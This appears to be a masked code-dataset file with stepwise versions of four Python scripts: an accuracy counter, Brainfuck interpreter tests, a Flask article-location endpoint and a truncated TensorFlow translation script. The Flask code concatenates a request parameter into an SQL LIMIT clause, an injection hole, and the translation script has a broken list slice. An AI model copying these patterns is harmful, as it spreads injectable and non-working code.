{ "blob_id": "9fc184fe3aa498138138403bef719c59b85b3a80", "index": 4392, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef main():\n with open('./src/test/predictions.json', 'r') as f:\n data = json.load(f)\n total = len(data['label'])\n google = 0\n sphinx = 0\n for i in range(len(data['label'])):\n label = data['label'][i]\n google_entry = data['google'][i]\n sphinx_entry = data['pocket_sphinx'][i]\n if google_entry == label:\n google += 1\n if sphinx_entry == label:\n sphinx += 1\n print('Google %d out of %d: %.4f' % (google, total, google / total))\n print('Pocket Sphinx %d out of %d: %.4f' % (sphinx, total, sphinx / total))\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef main():\n with open('./src/test/predictions.json', 'r') as f:\n data = json.load(f)\n total = len(data['label'])\n google = 0\n sphinx = 0\n for i in range(len(data['label'])):\n label = data['label'][i]\n google_entry = data['google'][i]\n sphinx_entry = data['pocket_sphinx'][i]\n if google_entry == label:\n google += 1\n if sphinx_entry == label:\n sphinx += 1\n print('Google %d out of %d: %.4f' % (google, total, google / total))\n print('Pocket Sphinx %d out of %d: %.4f' % (sphinx, total, sphinx / total))\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import json\n\n\ndef main():\n with open('./src/test/predictions.json', 'r') as f:\n data = json.load(f)\n total = len(data['label'])\n google = 0\n sphinx = 0\n for i in range(len(data['label'])):\n label = data['label'][i]\n google_entry = data['google'][i]\n sphinx_entry = data['pocket_sphinx'][i]\n if google_entry == label:\n google += 1\n if sphinx_entry == label:\n sphinx += 1\n print('Google %d out of %d: %.4f' % (google, total, google / total))\n print('Pocket Sphinx %d out of %d: %.4f' % (sphinx, total, sphinx / total))\n\n\nif __name__ == '__main__':\n main()\n", "step-5": "import json\n\n\ndef main():\n with open('./src/test/predictions.json', 'r') as f:\n data = json.load(f)\n \n total = len(data['label'])\n google = 0\n sphinx = 0\n for i in range(len(data['label'])):\n label = data['label'][i]\n google_entry = data['google'][i]\n sphinx_entry = data['pocket_sphinx'][i]\n\n if google_entry == label:\n google += 1\n if sphinx_entry == label:\n sphinx += 1\n \n print('Google %d out of %d: %.4f' %(google, total, google/total))\n print('Pocket Sphinx %d out of %d: %.4f' %(sphinx, total, sphinx/total))\n\nif __name__ == \"__main__\":\n main()", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
import unittest import brainfuck import sys from StringIO import StringIO def run_program(program, input = None): old_stdout = sys.stdout old_stdin = sys.stdin try: out = StringIO() sys.stdout = out if input is not None: input = StringIO(input) sys.stdin = input brainfuck.brainfuck(program) finally: sys.stdout = old_stdout sys.stdin = old_stdin return out.getvalue().strip() class TestInterpreter(unittest.TestCase): def setUp(self): brainfuck.set_cell_size() def test_HelloWorld(self): result = run_program(""" ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+. +++++++..+++.>++.<<+++++++++++++++.>.+++.------.- -------.>+.>.""") self.assertEquals(result, "Hello World!") def test_Squares(self): result = run_program(""" ++++[>+++++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>> -]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<+ +>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-< -]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-]""") expected_result = "\n".join([str(x**2) for x in range(101)]) self.assertEquals(result, expected_result) def test_ROT13(self): result = run_program(""" -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-] >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++ ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[ -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]""", "applesauce") self.assertEquals(result, "nccyrfnhpr") def test_Clean(self): self.assertRaises(Exception, brainfuck.clean, "[[]") self.assertRaises(Exception, brainfuck.clean, "][") if __name__ == '__main__': unittest.main()
normal
{ "blob_id": "19ab44cec863560513aadd88b5fd4bb40f75e371", "index": 2579, "step-1": "<mask token>\n\n\nclass TestInterpreter(unittest.TestCase):\n <mask token>\n\n def test_HelloWorld(self):\n result = run_program(\n \"\"\"\n ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.\n +++++++..+++.>++.<<+++++++++++++++.>.+++.------.-\n -------.>+.>.\"\"\"\n )\n self.assertEquals(result, 'Hello World!')\n <mask token>\n\n def test_ROT13(self):\n result = run_program(\n \"\"\"\n -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-]\n >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++\n ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[\n -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]\"\"\"\n , 'applesauce')\n self.assertEquals(result, 'nccyrfnhpr')\n\n def test_Clean(self):\n self.assertRaises(Exception, brainfuck.clean, '[[]')\n self.assertRaises(Exception, brainfuck.clean, '][')\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass TestInterpreter(unittest.TestCase):\n\n def setUp(self):\n brainfuck.set_cell_size()\n\n def test_HelloWorld(self):\n result = run_program(\n \"\"\"\n ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.\n +++++++..+++.>++.<<+++++++++++++++.>.+++.------.-\n -------.>+.>.\"\"\"\n )\n self.assertEquals(result, 'Hello World!')\n\n def test_Squares(self):\n result = run_program(\n \"\"\"\n ++++[>+++++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>>\n -]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<+\n +>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-<\n -]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-]\"\"\"\n )\n expected_result = '\\n'.join([str(x ** 2) for x in range(101)])\n self.assertEquals(result, expected_result)\n\n def test_ROT13(self):\n result = run_program(\n \"\"\"\n -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-]\n >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++\n ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[\n -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]\"\"\"\n , 'applesauce')\n self.assertEquals(result, 'nccyrfnhpr')\n\n def test_Clean(self):\n self.assertRaises(Exception, brainfuck.clean, '[[]')\n self.assertRaises(Exception, brainfuck.clean, '][')\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef run_program(program, input=None):\n old_stdout = sys.stdout\n old_stdin = sys.stdin\n try:\n out = StringIO()\n sys.stdout = out\n if input is not None:\n input = StringIO(input)\n sys.stdin = input\n brainfuck.brainfuck(program)\n finally:\n sys.stdout = old_stdout\n sys.stdin = old_stdin\n return out.getvalue().strip()\n\n\nclass TestInterpreter(unittest.TestCase):\n\n def setUp(self):\n brainfuck.set_cell_size()\n\n def test_HelloWorld(self):\n result = run_program(\n \"\"\"\n ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.\n +++++++..+++.>++.<<+++++++++++++++.>.+++.------.-\n -------.>+.>.\"\"\"\n )\n self.assertEquals(result, 'Hello World!')\n\n def test_Squares(self):\n result = run_program(\n \"\"\"\n ++++[>+++++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>>\n -]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<+\n +>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-<\n -]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-]\"\"\"\n )\n expected_result = '\\n'.join([str(x ** 2) for x in range(101)])\n self.assertEquals(result, expected_result)\n\n def test_ROT13(self):\n result = run_program(\n \"\"\"\n -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-]\n >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++\n ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[\n -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]\"\"\"\n , 'applesauce')\n self.assertEquals(result, 'nccyrfnhpr')\n\n def test_Clean(self):\n self.assertRaises(Exception, brainfuck.clean, '[[]')\n self.assertRaises(Exception, brainfuck.clean, '][')\n\n\n<mask token>\n", "step-4": "import unittest\nimport brainfuck\nimport sys\nfrom StringIO import StringIO\n\n\ndef run_program(program, input=None):\n old_stdout = sys.stdout\n old_stdin = sys.stdin\n try:\n out = StringIO()\n sys.stdout = out\n if input is not None:\n input = StringIO(input)\n sys.stdin = input\n brainfuck.brainfuck(program)\n finally:\n sys.stdout = old_stdout\n sys.stdin = old_stdin\n return out.getvalue().strip()\n\n\nclass TestInterpreter(unittest.TestCase):\n\n def setUp(self):\n brainfuck.set_cell_size()\n\n def test_HelloWorld(self):\n result = run_program(\n \"\"\"\n ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.\n +++++++..+++.>++.<<+++++++++++++++.>.+++.------.-\n -------.>+.>.\"\"\"\n )\n self.assertEquals(result, 'Hello World!')\n\n def test_Squares(self):\n result = run_program(\n \"\"\"\n ++++[>+++++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>>\n -]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<+\n +>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-<\n -]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-]\"\"\"\n )\n expected_result = '\\n'.join([str(x ** 2) for x in range(101)])\n self.assertEquals(result, expected_result)\n\n def test_ROT13(self):\n result = run_program(\n \"\"\"\n -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-]\n >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++\n ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[\n -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]\"\"\"\n , 'applesauce')\n self.assertEquals(result, 'nccyrfnhpr')\n\n def test_Clean(self):\n self.assertRaises(Exception, brainfuck.clean, '[[]')\n self.assertRaises(Exception, brainfuck.clean, '][')\n\n\nif __name__ == '__main__':\n unittest.main()\n", "step-5": "import unittest\nimport brainfuck\nimport sys\nfrom StringIO import StringIO\n\n\ndef run_program(program, input = None):\n old_stdout = sys.stdout\n old_stdin = sys.stdin\n try:\n out = StringIO()\n sys.stdout = out\n if input is not None:\n input = StringIO(input) \n sys.stdin = input\n brainfuck.brainfuck(program)\n finally:\n sys.stdout = old_stdout\n sys.stdin = old_stdin\n\n return out.getvalue().strip()\n\nclass TestInterpreter(unittest.TestCase):\n def setUp(self):\n\n brainfuck.set_cell_size()\n\n def test_HelloWorld(self):\n result = run_program(\"\"\"\n ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.\n +++++++..+++.>++.<<+++++++++++++++.>.+++.------.-\n -------.>+.>.\"\"\")\n self.assertEquals(result, \"Hello World!\")\n def test_Squares(self):\n result = run_program(\"\"\"\n ++++[>+++++<-]>[<+++++>-]+<+[>[>+>+<<-]++>>[<<+>>\n -]>>>[-]++>[-]+>>>+[[-]++++++>>>]<<<[[<++++++++<+\n +>>-]+<.<[>----<-]<]<<[>>>>>[>>>[-]+++++++++<[>-<\n -]+++++++++>[-[<->-]+[<<<]]<[>+<-]>]<<-]<<-]\"\"\")\n expected_result = \"\\n\".join([str(x**2) for x in range(101)])\n self.assertEquals(result, expected_result)\n\n def test_ROT13(self):\n result = run_program(\"\"\"\n -,+[-[>>++++[>++++++++<-]<+<-[>+>+>-[>>>]<[[>+<-]\n >>+>]<<<<<-]]>>>[-]+>--[-[<->+++[-]]]<[++++++++++\n ++<[>-[>+>>]>[+[<+>-]>+>>]<<<<<-]>>[<+>-]>[-[-<<[\n -]>>]<<[<<->>-]>>]<<[<<+>>-]]<[-]<.[-]<-,+]\"\"\", \"applesauce\")\n self.assertEquals(result, \"nccyrfnhpr\")\n \n def test_Clean(self):\n self.assertRaises(Exception, brainfuck.clean, \"[[]\")\n self.assertRaises(Exception, brainfuck.clean, \"][\")\nif __name__ == '__main__':\n unittest.main()\n", "step-ids": [ 4, 6, 7, 9, 10 ] }
[ 4, 6, 7, 9, 10 ]
# -*- coding: utf-8 -*- __author__ = 'jz' from flask.ext import restful from flask.ext.restful import reqparse from scs_app.db_connect import * parser = reqparse.RequestParser() parser.add_argument('count', type=str) class MulActionResource(restful.Resource): def __init__(self): self.db = get_connection() def post(self, type): args = parser.parse_args() count = args.get('count') sids = [] if type == 'extract': # todo multi extract pass elif type == 'location': articles = self.db.query( "select article.sid,title,content from article left join site on article.site_sid=site.sid" " where lang='cn' and location_sid IS NULL LIMIT 0," + count) locations = self.db.query('select sid,name,data from location where name!=%s', (u'其它',)) other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid'] for article in articles: sids.append(article['sid']) content = article['title'] + article['content'] lc = False for location in locations: sid = location['sid'] words = [location['name']] if location['data']: words += location['data'].split('|') for word in words: if word in content: lc = True self.db.update('update article set location_sid=%s where sid=%s', (sid, article['sid'])) break if lc: break if not lc: self.db.update('update article set location_sid=%s where sid=%s', (other_sid, article['sid'])) return { 'count': count, 'sids': sids } else: return 'no such command', 404
normal
{ "blob_id": "44476a32b8ab68820d73955321e57b7d1b608beb", "index": 6823, "step-1": "<mask token>\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-2": "<mask token>\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-3": "__author__ = 'jz'\n<mask token>\nparser = reqparse.RequestParser()\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-4": "__author__ = 'jz'\nfrom flask.ext import restful\nfrom flask.ext.restful import reqparse\nfrom scs_app.db_connect import *\nparser = reqparse.RequestParser()\nparser.add_argument('count', type=str)\n\n\nclass MulActionResource(restful.Resource):\n\n def __init__(self):\n self.db = get_connection()\n\n def post(self, type):\n args = parser.parse_args()\n count = args.get('count')\n sids = []\n if type == 'extract':\n pass\n elif type == 'location':\n articles = self.db.query(\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid where lang='cn' and location_sid IS NULL LIMIT 0,\"\n + count)\n locations = self.db.query(\n 'select sid,name,data from location where name!=%s', (u'其它',))\n other_sid = self.db.get('select sid from location where name=%s',\n (u'其它',))['sid']\n for article in articles:\n sids.append(article['sid'])\n content = article['title'] + article['content']\n lc = False\n for location in locations:\n sid = location['sid']\n words = [location['name']]\n if location['data']:\n words += location['data'].split('|')\n for word in words:\n if word in content:\n lc = True\n self.db.update(\n 'update article set location_sid=%s where sid=%s'\n , (sid, article['sid']))\n break\n if lc:\n break\n if not lc:\n self.db.update(\n 'update article set location_sid=%s where sid=%s',\n (other_sid, article['sid']))\n return {'count': count, 'sids': sids}\n else:\n return 'no such command', 404\n", "step-5": "# -*- coding: utf-8 -*-\r\n__author__ = 'jz'\r\n\r\nfrom flask.ext import restful\r\nfrom flask.ext.restful import reqparse\r\n\r\nfrom scs_app.db_connect import *\r\n\r\nparser = reqparse.RequestParser()\r\nparser.add_argument('count', type=str)\r\n\r\n\r\nclass MulActionResource(restful.Resource):\r\n def __init__(self):\r\n self.db = get_connection()\r\n\r\n def post(self, type):\r\n args = parser.parse_args()\r\n count = args.get('count')\r\n sids = []\r\n if type == 'extract':\r\n # todo multi extract\r\n pass\r\n elif type == 'location':\r\n articles = self.db.query(\r\n \"select article.sid,title,content from article left join site on article.site_sid=site.sid\"\r\n \" where lang='cn' and location_sid IS NULL LIMIT 0,\" + count)\r\n locations = self.db.query('select sid,name,data from location where name!=%s', (u'其它',))\r\n other_sid = self.db.get('select sid from location where name=%s', (u'其它',))['sid']\r\n for article in articles:\r\n sids.append(article['sid'])\r\n content = article['title'] + article['content']\r\n lc = False\r\n for location in locations:\r\n sid = location['sid']\r\n words = [location['name']]\r\n if location['data']:\r\n words += location['data'].split('|')\r\n for word in words:\r\n if word in content:\r\n lc = True\r\n self.db.update('update article set location_sid=%s where sid=%s', (sid, article['sid']))\r\n break\r\n if lc:\r\n break\r\n if not lc:\r\n self.db.update('update article set location_sid=%s where sid=%s', (other_sid, article['sid']))\r\n return {\r\n 'count': count,\r\n 'sids': sids\r\n }\r\n else:\r\n return 'no such command', 404", "step-ids": [ 3, 4, 5, 6, 7 ] }
[ 3, 4, 5, 6, 7 ]
# -*- coding:utf-8 -*- import os import numpy as np import tensorflow as tf from translate import datautil import seq2seq_model _buckets = [] convo_hist_limit = 1 max_source_length = 1 max_target_length = 2 flags = tf.app.flags FLAGS = flags.FLAGS tf.reset_default_graph max_train_data_size = 0 data_dir = 'datacn/' dropout = 1.0 grad_clip = 5.0 batch_size = 60 hidden_size = 14 num_layers = 2 learning_rate = 0.5 lr_decay_factor = 0.99 checkpoint_dir = 'data/checkpoints/' hidden_size = 100 checkpoint_dir = 'fanyichina/checkpoints/' data_dir = 'fanyichina' _buckets = [(20, 20), (40, 40), (50, 50), (60, 60)] def getfanyiInfo(): vocaben, rev_vocaben = datautil.initialize_vocabulary( os.path.join(datautil.data_dir, datautil.vocabulary_fileen)) vocab_sizeen = len(vocaben) vocabch, rev_vocabch = datautil.initialize_vocabulary( os.path.join(datautil.data_dir, datautil.vocabulary_filech)) vocab_sizech = len(vocabch) return vocab_sizeen, vocab_sizech, vocaben, vocabch def createModel(session, forward_only, from_vocab_size, to_vocab_size): model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size, _buckets, hidden_size, num_layers, dropout, grad_clip, batch_size, learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf.float32) ckpt = tf.train.latest_checkpoint(checkpoint_dir) if ckpt != None: model.saver.restore(session, ckpt) else: session.run(tf.global_variables_initializer()) return model def main(): vocab_sizeen, vocab_sizech, vocaben, rev_vocabch = getfanyiInfo() if not os.path.exists(checkpoint_dir): os.mkdir(checkpoint_dir) with tf.Session() as sess: model = createModel(sess, True, vocab_sizeen, vocab_sizech) model.batch_size = 1 conversation_history = [] while True: prompt = '请输入:' sentence = input(prompt) conversation_history.append(sentence) conversation_history = conversation_history[-conversation_history:] token_ids = list(reversed(datautil.sentence_to_ids( " ".join(conversation_history), vocaben, normalize_digits=True, Isch=True))) bucket_id = min([b for b in range(len(_buckets)) if _buckets[b][0] > len(token_ids)]) encoder_inputs, decoder_inputs, target_weights = model.get_batch( {bucket_id: [(token_ids, [])]}, bucket_id) _, _, output_logits = model.step( sess, encoder_inputs, decoder_inputs, target_weights, bucket_id, True) outputs = [int(np.argmax(logit, axis=1)) for logit in output_logits] if datautil.EOS_ID in outputs: outputs = outputs[:outputs.index(datautil.EOS_ID)] convo_output = " ".join( datautil.ids2texts(outputs, rev_vocabch)) conversation_history.append(convo_output) else: print('can not translation!') if __name__ == '__main__': main()
normal
{ "blob_id": "b7007778ea9dfac3af8c31d66d32d8157dc0d69b", "index": 1517, "step-1": "<mask token>\n\n\ndef getfanyiInfo():\n vocaben, rev_vocaben = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_fileen))\n vocab_sizeen = len(vocaben)\n vocabch, rev_vocabch = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_filech))\n vocab_sizech = len(vocabch)\n return vocab_sizeen, vocab_sizech, vocaben, vocabch\n\n\ndef createModel(session, forward_only, from_vocab_size, to_vocab_size):\n model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size,\n _buckets, hidden_size, num_layers, dropout, grad_clip, batch_size,\n learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf\n .float32)\n ckpt = tf.train.latest_checkpoint(checkpoint_dir)\n if ckpt != None:\n model.saver.restore(session, ckpt)\n else:\n session.run(tf.global_variables_initializer())\n return model\n\n\n<mask token>\n", "step-2": "<mask token>\ntf.reset_default_graph\n<mask token>\n\n\ndef getfanyiInfo():\n vocaben, rev_vocaben = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_fileen))\n vocab_sizeen = len(vocaben)\n vocabch, rev_vocabch = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_filech))\n vocab_sizech = len(vocabch)\n return vocab_sizeen, vocab_sizech, vocaben, vocabch\n\n\ndef createModel(session, forward_only, from_vocab_size, to_vocab_size):\n model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size,\n _buckets, hidden_size, num_layers, dropout, grad_clip, batch_size,\n learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf\n .float32)\n ckpt = tf.train.latest_checkpoint(checkpoint_dir)\n if ckpt != None:\n model.saver.restore(session, ckpt)\n else:\n session.run(tf.global_variables_initializer())\n return model\n\n\ndef main():\n vocab_sizeen, vocab_sizech, vocaben, rev_vocabch = getfanyiInfo()\n if not os.path.exists(checkpoint_dir):\n os.mkdir(checkpoint_dir)\n with tf.Session() as sess:\n model = createModel(sess, True, vocab_sizeen, vocab_sizech)\n model.batch_size = 1\n conversation_history = []\n while True:\n prompt = '请输入:'\n sentence = input(prompt)\n conversation_history.append(sentence)\n conversation_history = conversation_history[-conversation_history:]\n token_ids = list(reversed(datautil.sentence_to_ids(' '.join(\n conversation_history), vocaben, normalize_digits=True, Isch\n =True)))\n bucket_id = min([b for b in range(len(_buckets)) if _buckets[b]\n [0] > len(token_ids)])\n encoder_inputs, decoder_inputs, target_weights = model.get_batch({\n bucket_id: [(token_ids, [])]}, bucket_id)\n _, _, output_logits = model.step(sess, encoder_inputs,\n decoder_inputs, target_weights, bucket_id, True)\n outputs = [int(np.argmax(logit, axis=1)) for logit in output_logits\n ]\n if datautil.EOS_ID in outputs:\n outputs = outputs[:outputs.index(datautil.EOS_ID)]\n convo_output = ' '.join(datautil.ids2texts(outputs,\n rev_vocabch))\n conversation_history.append(convo_output)\n else:\n print('can not translation!')\n\n\nif __name__ == '__main__':\n main()\n", "step-3": "<mask token>\n_buckets = []\nconvo_hist_limit = 1\nmax_source_length = 1\nmax_target_length = 2\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.reset_default_graph\nmax_train_data_size = 0\ndata_dir = 'datacn/'\ndropout = 1.0\ngrad_clip = 5.0\nbatch_size = 60\nhidden_size = 14\nnum_layers = 2\nlearning_rate = 0.5\nlr_decay_factor = 0.99\ncheckpoint_dir = 'data/checkpoints/'\nhidden_size = 100\ncheckpoint_dir = 'fanyichina/checkpoints/'\ndata_dir = 'fanyichina'\n_buckets = [(20, 20), (40, 40), (50, 50), (60, 60)]\n\n\ndef getfanyiInfo():\n vocaben, rev_vocaben = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_fileen))\n vocab_sizeen = len(vocaben)\n vocabch, rev_vocabch = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_filech))\n vocab_sizech = len(vocabch)\n return vocab_sizeen, vocab_sizech, vocaben, vocabch\n\n\ndef createModel(session, forward_only, from_vocab_size, to_vocab_size):\n model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size,\n _buckets, hidden_size, num_layers, dropout, grad_clip, batch_size,\n learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf\n .float32)\n ckpt = tf.train.latest_checkpoint(checkpoint_dir)\n if ckpt != None:\n model.saver.restore(session, ckpt)\n else:\n session.run(tf.global_variables_initializer())\n return model\n\n\ndef main():\n vocab_sizeen, vocab_sizech, vocaben, rev_vocabch = getfanyiInfo()\n if not os.path.exists(checkpoint_dir):\n os.mkdir(checkpoint_dir)\n with tf.Session() as sess:\n model = createModel(sess, True, vocab_sizeen, vocab_sizech)\n model.batch_size = 1\n conversation_history = []\n while True:\n prompt = '请输入:'\n sentence = input(prompt)\n conversation_history.append(sentence)\n conversation_history = conversation_history[-conversation_history:]\n token_ids = list(reversed(datautil.sentence_to_ids(' '.join(\n conversation_history), vocaben, normalize_digits=True, Isch\n =True)))\n bucket_id = min([b for b in range(len(_buckets)) if _buckets[b]\n [0] > len(token_ids)])\n encoder_inputs, decoder_inputs, target_weights = model.get_batch({\n bucket_id: [(token_ids, [])]}, bucket_id)\n _, _, output_logits = model.step(sess, encoder_inputs,\n decoder_inputs, target_weights, bucket_id, True)\n outputs = [int(np.argmax(logit, axis=1)) for logit in output_logits\n ]\n if datautil.EOS_ID in outputs:\n outputs = outputs[:outputs.index(datautil.EOS_ID)]\n convo_output = ' '.join(datautil.ids2texts(outputs,\n rev_vocabch))\n conversation_history.append(convo_output)\n else:\n print('can not translation!')\n\n\nif __name__ == '__main__':\n main()\n", "step-4": "import os\nimport numpy as np\nimport tensorflow as tf\nfrom translate import datautil\nimport seq2seq_model\n_buckets = []\nconvo_hist_limit = 1\nmax_source_length = 1\nmax_target_length = 2\nflags = tf.app.flags\nFLAGS = flags.FLAGS\ntf.reset_default_graph\nmax_train_data_size = 0\ndata_dir = 'datacn/'\ndropout = 1.0\ngrad_clip = 5.0\nbatch_size = 60\nhidden_size = 14\nnum_layers = 2\nlearning_rate = 0.5\nlr_decay_factor = 0.99\ncheckpoint_dir = 'data/checkpoints/'\nhidden_size = 100\ncheckpoint_dir = 'fanyichina/checkpoints/'\ndata_dir = 'fanyichina'\n_buckets = [(20, 20), (40, 40), (50, 50), (60, 60)]\n\n\ndef getfanyiInfo():\n vocaben, rev_vocaben = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_fileen))\n vocab_sizeen = len(vocaben)\n vocabch, rev_vocabch = datautil.initialize_vocabulary(os.path.join(\n datautil.data_dir, datautil.vocabulary_filech))\n vocab_sizech = len(vocabch)\n return vocab_sizeen, vocab_sizech, vocaben, vocabch\n\n\ndef createModel(session, forward_only, from_vocab_size, to_vocab_size):\n model = seq2seq_model.Seq2SeqModel(from_vocab_size, to_vocab_size,\n _buckets, hidden_size, num_layers, dropout, grad_clip, batch_size,\n learning_rate, lr_decay_factor, forward_only=forward_only, dtype=tf\n .float32)\n ckpt = tf.train.latest_checkpoint(checkpoint_dir)\n if ckpt != None:\n model.saver.restore(session, ckpt)\n else:\n session.run(tf.global_variables_initializer())\n return model\n\n\ndef main():\n vocab_sizeen, vocab_sizech, vocaben, rev_vocabch = getfanyiInfo()\n if not os.path.exists(checkpoint_dir):\n os.mkdir(checkpoint_dir)\n with tf.Session() as sess:\n model = createModel(sess, True, vocab_sizeen, vocab_sizech)\n model.batch_size = 1\n conversation_history = []\n while True:\n prompt = '请输入:'\n sentence = input(prompt)\n conversation_history.append(sentence)\n conversation_history = 